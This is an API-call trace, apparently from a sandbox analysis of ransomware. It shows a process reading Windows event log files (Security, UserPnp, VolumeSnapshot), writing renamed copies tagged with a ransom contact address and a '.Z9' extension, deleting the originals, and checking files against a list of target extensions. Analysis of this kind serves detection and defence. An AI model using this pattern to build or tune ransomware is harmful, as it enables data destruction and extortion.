	[0083.184] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20
	[0083.184] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.184] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0083.184] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.184] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.184] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0083.184] GetLastError () returned 0x0
	[0083.184] ReadFile (in: hFile=0x390, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.187] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.189] ReadFile (in: hFile=0x390, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.189] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x12c, lpOverlapped=0x0) returned 1
	[0083.189] SetEndOfFile (hFile=0x338) returned 1
	[0083.189] CloseHandle (hObject=0x338) returned 1
	[0083.191] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.191] SetEndOfFile (hFile=0x390) returned 1
	[0083.192] CloseHandle (hObject=0x390) returned 1
	[0083.192] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0083.193] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 1
	[0083.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.193] lstrlenW (lpString=".doc") returned 4
	[0083.193] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.193] lstrlenW (lpString=".docx") returned 5
	[0083.193] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.193] lstrlenW (lpString=".pdf") returned 4
	[0083.193] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.193] lstrlenW (lpString=".xls") returned 4
	[0083.193] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.193] lstrlenW (lpString=".xlsx") returned 5
	[0083.193] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.193] lstrlenW (lpString=".ppt") returned 4
	[0083.193] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.193] lstrlenW (lpString=".zip") returned 4
	[0083.193] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.193] lstrlenW (lpString=".rar") returned 4
	[0083.193] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.193] lstrlenW (lpString=".bz2") returned 4
	[0083.193] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.193] lstrlenW (lpString=".7z") returned 3
	[0083.194] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.194] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.194] lstrlenW (lpString=".dbf") returned 4
	[0083.194] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.194] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.194] lstrlenW (lpString=".1cd") returned 4
	[0083.194] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.194] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.194] lstrlenW (lpString=".jpg") returned 4
	[0083.194] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.194] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.194] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.194] lstrlenW (lpString=".doc") returned 4
	[0083.194] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.194] lstrlenW (lpString=".docx") returned 5
	[0083.194] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.194] lstrlenW (lpString=".pdf") returned 4
	[0083.194] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.194] lstrlenW (lpString=".xls") returned 4
	[0083.194] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.194] lstrlenW (lpString=".xlsx") returned 5
	[0083.194] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.194] lstrlenW (lpString=".ppt") returned 4
	[0083.194] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.194] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.194] lstrlenW (lpString=".zip") returned 4
	[0083.194] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.194] lstrlenW (lpString=".rar") returned 4
	[0083.194] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.194] lstrlenW (lpString=".bz2") returned 4
	[0083.194] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.194] lstrlenW (lpString=".7z") returned 3
	[0083.194] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.194] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.194] lstrlenW (lpString=".dbf") returned 4
	[0083.195] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.195] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.195] lstrlenW (lpString=".1cd") returned 4
	[0083.195] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.195] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.195] lstrlenW (lpString=".jpg") returned 4
	[0083.195] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.195] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0083.195] lstrlenW (lpString="Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 45
	[0083.195] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0083.195] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=69632) returned 1
	[0083.195] CloseHandle (hObject=0x390) returned 1
	[0083.195] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20
	[0083.195] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.195] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0083.195] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.195] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.196] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0083.196] GetLastError () returned 0x0
	[0083.196] ReadFile (in: hFile=0x390, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.198] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.200] ReadFile (in: hFile=0x390, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.200] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x12e, lpOverlapped=0x0) returned 1
	[0083.200] SetEndOfFile (hFile=0x338) returned 1
	[0083.200] CloseHandle (hObject=0x338) returned 1
	[0083.202] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.203] SetEndOfFile (hFile=0x390) returned 1
	[0083.204] CloseHandle (hObject=0x390) returned 1
	[0083.204] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0083.204] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 1
	[0083.204] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.204] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.204] lstrlenW (lpString=".doc") returned 4
	[0083.204] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.204] lstrlenW (lpString=".docx") returned 5
	[0083.204] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.204] lstrlenW (lpString=".pdf") returned 4
	[0083.204] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.204] lstrlenW (lpString=".xls") returned 4
	[0083.204] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.205] lstrlenW (lpString=".xlsx") returned 5
	[0083.205] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.205] lstrlenW (lpString=".ppt") returned 4
	[0083.205] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.205] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.205] lstrlenW (lpString=".zip") returned 4
	[0083.205] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.205] lstrlenW (lpString=".rar") returned 4
	[0083.205] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.205] lstrlenW (lpString=".bz2") returned 4
	[0083.205] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.205] lstrlenW (lpString=".7z") returned 3
	[0083.205] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.205] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.205] lstrlenW (lpString=".dbf") returned 4
	[0083.205] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.205] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.205] lstrlenW (lpString=".1cd") returned 4
	[0083.205] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.205] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.205] lstrlenW (lpString=".jpg") returned 4
	[0083.205] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.205] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.205] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.205] lstrlenW (lpString=".doc") returned 4
	[0083.205] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.205] lstrlenW (lpString=".docx") returned 5
	[0083.205] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.205] lstrlenW (lpString=".pdf") returned 4
	[0083.205] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.205] lstrlenW (lpString=".xls") returned 4
	[0083.205] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.205] lstrlenW (lpString=".xlsx") returned 5
	[0083.205] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.205] lstrlenW (lpString=".ppt") returned 4
	[0083.205] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.206] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.206] lstrlenW (lpString=".zip") returned 4
	[0083.206] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.206] lstrlenW (lpString=".rar") returned 4
	[0083.206] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.206] lstrlenW (lpString=".bz2") returned 4
	[0083.206] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.206] lstrlenW (lpString=".7z") returned 3
	[0083.206] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.206] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.206] lstrlenW (lpString=".dbf") returned 4
	[0083.206] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.206] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.206] lstrlenW (lpString=".1cd") returned 4
	[0083.206] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.206] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.206] lstrlenW (lpString=".jpg") returned 4
	[0083.206] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.206] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0083.206] lstrlenW (lpString="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 57
	[0083.206] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0083.208] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=69632) returned 1
	[0083.208] CloseHandle (hObject=0x390) returned 1
	[0083.208] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 0x20
	[0083.208] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.208] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0083.208] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.208] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.208] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0083.209] GetLastError () returned 0x0
	[0083.209] ReadFile (in: hFile=0x390, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.211] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.213] ReadFile (in: hFile=0x390, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.213] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x146, lpOverlapped=0x0) returned 1
	[0083.213] SetEndOfFile (hFile=0x338) returned 1
	[0083.213] CloseHandle (hObject=0x338) returned 1
	[0083.215] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.215] SetEndOfFile (hFile=0x390) returned 1
	[0083.216] CloseHandle (hObject=0x390) returned 1
	[0083.216] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0083.637] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 1
	[0083.637] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.637] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.637] lstrlenW (lpString=".doc") returned 4
	[0083.637] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.637] lstrlenW (lpString=".docx") returned 5
	[0083.637] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.637] lstrlenW (lpString=".pdf") returned 4
	[0083.637] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.637] lstrlenW (lpString=".xls") returned 4
	[0083.637] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.637] lstrlenW (lpString=".xlsx") returned 5
	[0083.637] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.638] lstrlenW (lpString=".ppt") returned 4
	[0083.638] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.638] lstrlenW (lpString=".zip") returned 4
	[0083.638] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.638] lstrlenW (lpString=".rar") returned 4
	[0083.638] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.638] lstrlenW (lpString=".bz2") returned 4
	[0083.638] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.638] lstrlenW (lpString=".7z") returned 3
	[0083.638] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.638] lstrlenW (lpString=".dbf") returned 4
	[0083.638] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.638] lstrlenW (lpString=".1cd") returned 4
	[0083.638] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.638] lstrlenW (lpString=".jpg") returned 4
	[0083.638] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.638] lstrlenW (lpString=".doc") returned 4
	[0083.638] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.638] lstrlenW (lpString=".docx") returned 5
	[0083.638] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.638] lstrlenW (lpString=".pdf") returned 4
	[0083.638] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.638] lstrlenW (lpString=".xls") returned 4
	[0083.638] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.638] lstrlenW (lpString=".xlsx") returned 5
	[0083.638] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.639] lstrlenW (lpString=".ppt") returned 4
	[0083.639] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.639] lstrlenW (lpString=".zip") returned 4
	[0083.639] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.639] lstrlenW (lpString=".rar") returned 4
	[0083.639] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.639] lstrlenW (lpString=".bz2") returned 4
	[0083.639] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.639] lstrlenW (lpString=".7z") returned 3
	[0083.639] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.639] lstrlenW (lpString=".dbf") returned 4
	[0083.639] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.639] lstrlenW (lpString=".1cd") returned 4
	[0083.639] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.639] lstrlenW (lpString=".jpg") returned 4
	[0083.639] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.639] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0083.639] lstrlenW (lpString="Security.evtx") returned 13
	[0083.639] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0083.640] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=1118208) returned 1
	[0083.640] CloseHandle (hObject=0x378) returned 1
	[0083.640] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 0x20
	[0083.640] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\security.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.640] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0083.640] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.640] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
